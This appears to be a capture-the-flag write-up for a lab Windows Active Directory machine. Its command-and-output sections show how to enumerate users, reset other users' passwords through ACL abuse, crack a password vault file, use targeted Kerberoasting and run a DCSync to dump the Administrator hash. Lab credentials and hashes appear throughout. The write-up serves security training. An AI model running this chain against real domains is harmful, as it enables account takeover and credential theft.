Administrator -- Medium Box -- Writeup by Agares
Synopsis
Administrator is a medium difficulty Windows machine where we start with credentials, them
being Olivia / ichliebedich
This machine shows AD vulnerabilities like DACL Abuse, DCSync. We will be using bloodhound
that will become our eyes in the following writeup.
Skills Required
Enumeration
Impacket
FTP
Netexec
Bloodhound
Password Cracking
Skills Learned
DCSync Attacks
DACL Abuse - GenericAll, GenericWrite
pwsafe2john
Enumeration
Nmap
nmap -sSCV 10.129.123.127
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-10 13:53 CST
Nmap scan report for 10.129.123.127
Host is up (0.077s latency).
Not shown: 988 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-
11-10 19:54:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-11-10T19:54:08
|_ start_date: N/A
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.31 seconds
As we can use we have many interesting ports opened one of which being ftp, we have a
simple dns on port 53 and kerberos on port 88 . We also have smb, which can be very helpful in
enumerating users.
before that do add Administrator.htb to your /etc/hosts
/etc/hosts
echo '10.129.253.57 Administrator.htb' | sudo tee -a /etc/hosts
### NetExec
```bash
nxc smb 10.129.123.127 -u olivia -p ichliebedich --users
SMB 10.129.123.127 445 DC [*] Windows Server 2022
Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True)
(SMBv1:False)
SMB 10.129.123.127 445 DC [+]
administrator.htb\olivia:ichliebedich
SMB 10.129.123.127 445 DC -Username-
-Last PW Set- -BadPW- -Description-
SMB 10.129.123.127 445 DC Administrator
2024-10-22 18:59:36 0 Built-in account for administering the
computer/domain
SMB 10.129.123.127 445 DC Guest
<never> 0 Built-in account for guest access to the
computer/domain
SMB 10.129.123.127 445 DC krbtgt
2024-10-04 19:53:28 0 Key Distribution Center Service Account
SMB 10.129.123.127 445 DC olivia
2024-10-06 01:22:48 0
SMB 10.129.123.127 445 DC michael
2024-10-06 01:33:37 0
SMB 10.129.123.127 445 DC benjamin
2024-10-06 01:34:56 0
SMB 10.129.123.127 445 DC emily
2024-10-30 23:40:02 0
SMB 10.129.123.127 445 DC ethan
2024-10-12 20:52:14 0
SMB 10.129.123.127 445 DC alexander
2024-10-31 00:18:04 0
SMB 10.129.123.127 445 DC emma
2024-10-31 00:18:35 0
SMB 10.129.123.127 445 DC [*] Enumerated 10 local
users: ADMINISTRATOR
We use nxc to enumerate users present in the machine.
Now that we have enumerated users and we know there is a dns let us try using Bloodhound to
see what we can do and where we can go from olivia the user which we have credentials for.
BloodHound -- Our Eyes
Bloodhound-Python
There are many ways to get .json files for our bloodhound making up our database. we can do
it in Windows using Sharphound or in linux using BloodHound-Python= or NXC or Certipy-AD
You can use any of the above but I personally prefer BloodHound-Python or Netexec
sometimes
Using bhp
bloodhound-python -c All -u Olivia -p 'ichliebedich' -d Administrator.htb -
ns 10.129.253.57
INFO: Found AD domain: administrator.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication.
Error: [Errno Connection error (dc.administrator.htb:88)] [Errno -2] Name or
service not known
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.administrator.htb
INFO: Done in 00M 15S
Now that we have our .json files let us insert them into BloodHound and look at what this
machine holds for us.
BloodHound
After I checked almost all users I only found that owning Benjamin was the best way to do it.
Lets first own Benjamin and then find our way ahead.
Below is a bloodhound cheatsheet that can be helpful sometimes
Cheat-Sheet
As We can see olivia has GenericAll permission over Michael and we can abuse that to change
Michael's Password
Active Directory Part
Owning Michael
Since we can abuse GenericAll ( Combination of almost all other rights. ) in many ways like
1. Changing Password
2. Making Shadow Credentials
3. Add User to a specific group that we own
For now we will get the full control over Michael by changing its password
We can change its password in various ways as well both linux and windows ways but since we
haven’t RDPed into the account and our hunt seems to be leaning towards Linux Abuse so lets
use that
Tools that we can use:
1. Net rpc
2. rpcclient
3. bloodyAD
We will be using bloodyAD for our little stunt
python3 bloodyAD.py --host "10.129.253.57" -d "Administrator.htb" -u
"olivia" -p "ichliebedich" set password "michael" "Password@123"
[+] Password changed successfully!
Now that the password was changed successfully and We have Michael in our full control. Lets
see how can we go to Benjamin.
Owning Benjamin
As we can see we have ForcePasswordChange from Michael to Benjamin that means Michael
can forcefully change password of Benjamin.
We can follow the same that we did with Michael and own Benjamin using bloodyAD
python3 bloodyAD.py --host "10.129.253.57" -d "Administrator.htb" -u
"michael" -p "Password@123" set password "benjamin" "Password@123"
[+] Password changed successfully!
Now that we have Benjamin owned as well shall we move onto the next part?
Moving Further
if you still remember me mentioning that we have port 21 open that is FTP, you are thinking
right we will check if we can log into that ftp account using Benjamin's Credentials
ftp 10.129.253.57
Connected to 10.129.253.57.
220 Microsoft FTP Service
Name (10.129.253.57:root): benjamin
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||60032|)
125 Data connection already open; Transfer starting.
10-05-24 08:13AM 952 Backup.psafe3
226 Transfer complete.
ftp> get Backup.psafe3
local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||60034|)
125 Data connection already open; Transfer starting.
100% |***********************************| 952 10.64 KiB/s 00:00
ETA
226 Transfer complete.
WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
952 bytes received in 00:00 (10.62 KiB/s)
ftp>
seems like we can and we did find an interesting file Backup.psafe3 . As you can see I have
already copied the file to my attack machine. Let's open that safe shall we?
Cracking Into
to crack the password of the psafe3 file we will have to use the tool called pwsafe2john .
Without further ado lets complete the task shall we?
pwsafe2john Backup.psafe3 > hashes.txt
Lets crack the hash for the file now?
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8t=/usr/share/wordlists/rockyou.txt
Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
==tekieromucho== (Backu)
1g 0:00:00:00 DONE (2024-11-12 13:35) 5.000g/s 40960p/s 40960c/s 40960C/s
newzealand..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
As you can see we got the password for the file tekieromucho
Taking a sneak peak
Now that we have the password for the Backup.psafe3 file let's open it up shall we?
I wasnt able to find a good tool but did find one called PasswordSafe you can install it as well
since it is compatible with psafe files
Looks like we have hit gold!
We found three users passwords
alexander -- UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily -- UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma -- WwANQWnmJnGV07WQN8bMS7FMAbjNur
Amazingly we have Emily's Password
Lets do the Privilege Escalation part now.
Privilege Escalation
Back to bloodhound
Let us see if we can move to Administrator using Emily
Yes we can! from emily to ethan to Administrator
Owning Ethan
As we see Emily has GenericWrite over Ethan which is Combination of write permissions (Self,
WriteProperty) among other things.
What we can do is Targeted Kerberoasting .
==What is Targeted Kerberoasting? ==
When the attacker can add SPN ( ServicePrincipalName ) to the target account and once the
account has that SPN, it becomes vulnerable to kerberoasting.
We can use targetedkerberoasting.py for the act
python3 targetedKerberoast.py -v -d 'Administrator.htb' -u 'emily' -p
'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$Administrator.htb/ethan*$149b53b3c9ccc2
577f264e3256ca731c$956c47febf7313116ab7f1473ee49855f5af57a43ecf5e94f20fcc324
f2812910e122e0f299203abe98befdc37c6f2c9d61d4194b70f2c2fa5e6de898747ad6d21efd
4387a9b4eca7eb1c30453f179e21e036c681f8857ca0913bb714b7538f1d0a097255cf14a3c3
44ee03c7af77223df22cf7b70625d182b978eac6f91cc00ece1d4674b717ebc37b0295d65fde
7d958285052b131088e86d0d9a1a2189d6807bc75d83e2051d31537b179ae538769902dd4fb7
f17a59826bf544ffb088eea87cb207b01f8c40508c3fbf9c2eaf95a4384b6df3312278c5a515
1032c9b7fed21d2a91350171f1726ef5f4560f1a3df745ed132befe0f187cf4e4238a2126726
d1f110ebdaacf3045d23428230d8baa6ea0c291cde5dd558b6d3ddedbcd241b63f4e38b932ae
71cdacda5d86b11f7133fd3feeb34420814780e85014ad2b51f2796a88a42809ef2e92369860
b1ccbe3deba9234658c927c9682b4802f0cde02d653b35c0982e90d183b818ec5f8cd7d599e0
013603430edf55e0ab2399a3c391ef08c2cda7e61eb1c9158dd5df163fe3df0d4b3e90c7cc8d
a270bd0ef16ec3dc2c2dd3dbd4bdaa9399bdd1eecd86e82c132bf8b01f169dcc471fdf752438
c48288edd35150b2ace5ed219407b86295844ec29ae30d2e696b689b6269cab35767283c71bb
504465b91e53ef0ca80e1b2e709c39f6947131cdb53dacaed1d02cb5b450ef84d6e5f90ccfbb
40e7fd4691fde492b6ae19c937670935f035327d218c6eb0ba8afc71900b2ecf3e837e72cca1
815cc35a9ab8a34f44f6baf3707ff6440f4fc990e9df24f7c2878cf45ae1d285f2727e2142ba
a8f922b62e8e4a184de31e85e1343e74000ba906e3f8affe1dfe50658ddb532eb801666119f8
cb8c6bdb59db2aba2f5315eb4ca1eb624bf713a3e74c83308a633aa5ccdbcee640131e377ded
4349ff245716228eaa3ceec371e2d3293cc1b35e8d48ff82cca6c26511c94a3c54cbba42e3f0
7666bcc3b6a471d38d09d1fc329b6879f142b16f06e45af26d92732f4b3b9136b54c15c3d553
41ef4dac8fdffbaa901d2069bd4cfbd50b4c8098bcf05a8f17ee92ad8a78ebecd7dae91bbb18
6cf4f61412607399e81b361e3c9038eb4fc6f3003c24b7338ce06e21fdb533793385452203e1
c4495bf2be5b2c5a9018f9250359e94533503cbcd4fa860167a98f8d1d47bd6c0c95ed330e35
890266b6ba1130c347831c3ea5c7edf6dc42beea2eddae2e50fe971316f1c6c4450c4378bfcf
1c7e97e780d36c166dc27c0f0d05ca0e6635a3c454a1bb49afc4dec262636356024ce059dc29
3c76f295b628e1c12316aba03b2fc779ebbaa7f170b87c39b78456b036b52c3706505b887ce3
5c944d91a8fa5032927c3fb556ef189a291d6d6696d6c758694ae87c5d0e4b231e8f7065549a
a5c088657709b7a4fdd61d05bd67a823358ee349d93c68f99f270aafc32a8fe43f0a2e8c308d
f11d41c90d798e191263dbd6ee43e37e5df3da21cdfdb3aa5549e8d45d1a8c8b6
[VERBOSE] SPN removed successfully for (ethan)
Let's save that hash in a file and use hashcat to crack it
hashcat hash /usr/share/wordlist/rockyou.txt
<SNIP>
da21cdfdb3aa5549e8d45d1a8c8b6:limpbizkit
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......:
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$Administrator....a8c8b6
Time.Started.....: Tue Nov 12 21:26:23 2024 (0 secs)
Time.Estimated...: Tue Nov 12 21:26:23 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........: 1330.1 kH/s (1.07ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests
(new)
Progress.........: 6144/14344385 (0.04%)
Rejected.........: 0/6144 (0.00%)
Restore.Point....: 4096/14344385 (0.03%)
Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#2....: newzealand -> iheartyou
We have the password for ethan limpbizkit
Lets move ahead the hierarchy.
Final Move
Owning Administrator
Now that all the pieces are in place lets get the king.
We have DCSync Privileges over Administrator
What is DCSync?
We can use this privilege to simulate replication process from a remote DC. This can be used to
forge krbtgt, it is similar to dumping NTDS.dit but not just copy and parsing of it. We can
replicate data from a DC in a nut shell
We will be using Impacket's SecretDump.py to perform this attack
secretsdump.py 'Administrator.htb/ethan:limpbizkit'@'dc.administrator.htb'
Impacket v0.13.0.dev0+20240916.171021.65b774d - Copyright Fortra, LLC and
its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 -
rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d
2d2fd2e:::
Now use Evil-Winrm to log in to Administrator and get your root hash.
Congratulations you made it!
Until next time 👋
